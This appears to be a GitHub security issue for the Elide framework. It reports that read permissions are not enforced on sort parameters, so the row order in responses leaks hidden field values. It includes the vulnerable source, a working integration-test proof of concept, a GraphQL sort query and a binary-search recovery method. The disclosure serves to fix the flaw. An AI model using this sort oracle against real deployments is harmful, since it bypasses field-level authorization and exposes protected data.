Skip to content

Read permission not enforced on client-supplied sort expressions (incomplete fix of CVE-2020-5289) #3415

Description

@geo-chen

Summary

Elide enforces @ReadPermission on client-supplied filter expressions (the fix for CVE-2020-5289), but it does NOT enforce @ReadPermission on client-supplied sort expressions. A caller can sort any readable collection by a field that they are forbidden to read. Although the forbidden field value is never returned, the order of the rows in the response leaks the relative ordering of the hidden field across all rows. This is the same "guess and check" information-disclosure class that CVE-2020-5289 closed for filters, surviving on the sort operation that the patch never covered. It affects both the JSON:API and GraphQL read paths because both build sort rules through the same unguarded code.

Details

The sort rules supplied by a client are turned into query paths by SortingImpl.getValidSortingRules. The only validation applied is structural: the path must resolve to a real field and must not cross a to-many relationship. No permission check is performed.

elide-core/src/main/java/com/yahoo/elide/core/sort/SortingImpl.java (lines 94-156):

private <T> Map<Path, SortOrder> getValidSortingRules(final Type<T> entityClass,
                                                      final Set<Attribute> attributes,
                                                      final EntityDictionary dictionary)
        throws InvalidValueException {
    ...
    Path path;
    if (dotSeparatedPath.contains(".")) {
        //Creating a path validates that the dot separated path is valid.
        path = new Path(entityClass, dictionary, dotSeparatedPath);
    } else {
        ...
        path = new Path(entityClass, dictionary, dotSeparatedPath);
        ...
    }

    if (! isValidSortRulePath(path, dictionary)) {       // <-- only structural check
        throw new InvalidValueException("Cannot sort across a to-many relationship: " + path.getFieldPath());
    }

    returnMap.put(path, order);
}

protected static boolean isValidSortRulePath(Path path, EntityDictionary dictionary) {
    //Validate that none of the relationships are to-many
    for (Path.PathElement pathElement : path.getPathElements()) {
        if (! dictionary.isRelation(pathElement.getType(), pathElement.getFieldName())) {
            continue;
        }
        if (dictionary.getRelationshipType(pathElement.getType(), pathElement.getFieldName()).isToMany()) {
            return false;
        }
    }
    return true;
}

SortingImpl never references PermissionExecutor, ReadPermission, or VerifyFieldAccessFilterExpressionVisitor. The resulting sort path is passed straight to the data store, which renders it into an ORDER BY clause on the forbidden column.

Contrast this with the filter path, which IS guarded. The fix for CVE-2020-5289 added VerifyFieldAccessFilterExpressionVisitor, invoked in PersistentResource.filter:

elide-core/src/main/java/com/yahoo/elide/core/PersistentResource.java (around line 515):

return resources.filter(resource -> {
    try {
        if (!resource.getRequestScope().getNewResources().contains(resource)) {
            resource.checkFieldAwarePermissions(permission, requestedFields);
            // Verify fields have ReadPermission on filter join
            return !filter.isPresent()
                    || filter.get().accept(new VerifyFieldAccessFilterExpressionVisitor(resource));
        }
        return true;
    } catch (ForbiddenAccessException e) {
        return false;
    }
});

VerifyFieldAccessFilterExpressionVisitor.visitPredicate walks every field referenced by a filter predicate and calls checkSpecificFieldPermissions(..., ReadPermission.class, fieldName), rejecting rows when a referenced field is not readable. There is no equivalent visitor or check anywhere in the sort flow.

Both API surfaces build sort rules through SortingImpl with no added permission gate:

  • JSON:API: elide-core/src/main/java/com/yahoo/elide/jsonapi/EntityProjectionMaker.java parses the sort query parameter via SortingImpl.parseQueryParams / SortingImpl.parseSortRule.
  • GraphQL: elide-graphql/src/main/java/com/yahoo/elide/graphql/parser/GraphQLEntityProjectionMaker.java addSorting calls SortingImpl.parseSortRule for the sort argument (including on nested relationships).

Because the order of returned rows reflects the order of the unreadable field, an attacker who can read at least one other field of the model recovers the hidden field's ordering. By creating or upserting rows with attacker-known boundary values and observing where a victim row sorts relative to them, the attacker can binary-search the exact value of the unreadable field, exactly the reconstruction that CVE-2020-5289 warned about for filters.

PoC

The repository's own integration harness drives the real JSON:API endpoint (embedded Jetty + H2 + Hibernate) against the upstream example.FunWithPermissions model. That model's getField1() carries @ReadPermission(expression = "Prefab.Role.None"), so field1 is unreadable to everyone, while field2 is public.

Add this test at elide-integration-tests/src/test/java/com/yahoo/elide/tests/SortLeakIT.java:

/*
 * Copyright 2024, Yahoo Inc.
 * Licensed under the Apache License, Version 2.0
 * See LICENSE file in project root for terms.
 */
package com.yahoo.elide.tests;

import static io.restassured.RestAssured.given;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNull;

import com.yahoo.elide.core.exceptions.HttpStatus;
import com.yahoo.elide.initialization.IntegrationTest;
import com.yahoo.elide.jsonapi.JsonApi;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.JsonNode;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;

import java.util.ArrayList;
import java.util.List;

public class SortLeakIT extends IntegrationTest {

    private void createFun(String field1Value, String field2Value) {
        String body = "{\"data\": {\"type\":\"fun\",\"attributes\": {"
                + "\"field1\": \"" + field1Value + "\","
                + "\"field2\": \"" + field2Value + "\"}}}";
        given()
                .contentType(JsonApi.MEDIA_TYPE)
                .accept(JsonApi.MEDIA_TYPE)
                .body(body)
                .post("/fun")
                .then()
                .statusCode(HttpStatus.SC_CREATED);
    }

    @BeforeEach
    public void setup() {
        // Public field2 order b, c, a maps to secret field1 order zebra, mango, apple.
        createFun("zebra", "b-record");
        createFun("mango", "c-record");
        createFun("apple", "a-record");
    }

    @Test
    public void testFilterOnSecretFieldIsBlocked() throws JsonProcessingException {
        JsonNode filtered = getAsNode("/fun?filter[fun]=field1==zebra");
        List<String> matched = collectPublicLabels(filtered);
        System.out.println(">>> filter[fun]=field1==zebra public field2 returned: " + matched);
        assertEquals(List.of(), matched,
                "Filtering on the unreadable field1 must not reveal which row matches (CVE-2020-5289 fix).");
    }

    @Test
    public void testSortOnSecretFieldLeaksOrdering() throws JsonProcessingException {
        JsonNode ascResult = getAsNode("/fun?sort=field1");
        JsonNode descResult = getAsNode("/fun?sort=-field1");

        List<String> ascPublic = collectPublicLabels(ascResult);
        List<String> descPublic = collectPublicLabels(descResult);

        System.out.println(">>> sort=field1  (ascending secret) public field2 order:  " + ascPublic);
        System.out.println(">>> sort=-field1 (descending secret) public field2 order: " + descPublic);

        // field1 ascending apple, mango, zebra maps to field2 a-record, c-record, b-record.
        assertEquals(List.of("a-record", "c-record", "b-record"), ascPublic,
                "sort=field1 leaked the ascending order of the hidden field1 values.");
        assertEquals(List.of("b-record", "c-record", "a-record"), descPublic,
                "sort=-field1 leaked the descending order of the hidden field1 values.");

        for (JsonNode datum : ascResult.get("data")) {
            JsonNode attrs = datum.get("attributes");
            assertNull(attrs.get("field1"), "field1 must not be directly readable.");
        }
        System.out.println(">>> field1 is never returned directly, yet its sort order is fully recovered.");
    }

    private List<String> collectPublicLabels(JsonNode result) {
        List<String> labels = new ArrayList<>();
        for (JsonNode datum : result.get("data")) {
            labels.add(datum.get("attributes").get("field2").asText());
        }
        return labels;
    }
}

Run it (JDK 17 is required by the build enforcer):

JAVA_HOME=/path/to/jdk-17 \
  mvn -pl elide-integration-tests test -Dtest=SortLeakIT \
      -Dsurefire.failIfNoSpecifiedTests=false -Dcheckstyle.skip=true -o

Observed output on 7.1.17 (BUILD SUCCESS, 2 tests, 0 failures):

>>> sort=field1  (ascending secret) public field2 order:  [a-record, c-record, b-record]
>>> sort=-field1 (descending secret) public field2 order: [b-record, c-record, a-record]
>>> field1 is never returned directly, yet its sort order is fully recovered.
>>> filter[fun]=field1==zebra public field2 returned: []

The filter on the unreadable field1 is correctly suppressed ([]), confirming the CVE-2020-5289 fix is active. Sorting on the very same unreadable field1 is allowed and returns the rows in the secret field's order, fully reconstructing the hidden ordering without ever returning field1.

The equivalent GraphQL query leaks the same way, because GraphQL sort goes through the same SortingImpl:

{ fun(sort: "field1") { edges { node { id field2 } } } }

Impact

Any client able to read a collection (even just one public field of it) can recover the ordering of fields they are explicitly denied via @ReadPermission. With attacker-controlled boundary rows (create/upsert), the ordering oracle becomes a value oracle: the exact value of an unreadable field on a target row can be recovered by binary search. This defeats field-level read authorization, which is the central security guarantee Elide provides over JPA models. It affects both JSON:API and GraphQL, requires no special privileges beyond querying the collection, and the secret field never appears in any response, so the leak is invisible in logs that only inspect returned attributes. It is the same disclosure class as CVE-2020-5289, which the project rated High, surviving on the sort operation the original fix did not cover.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions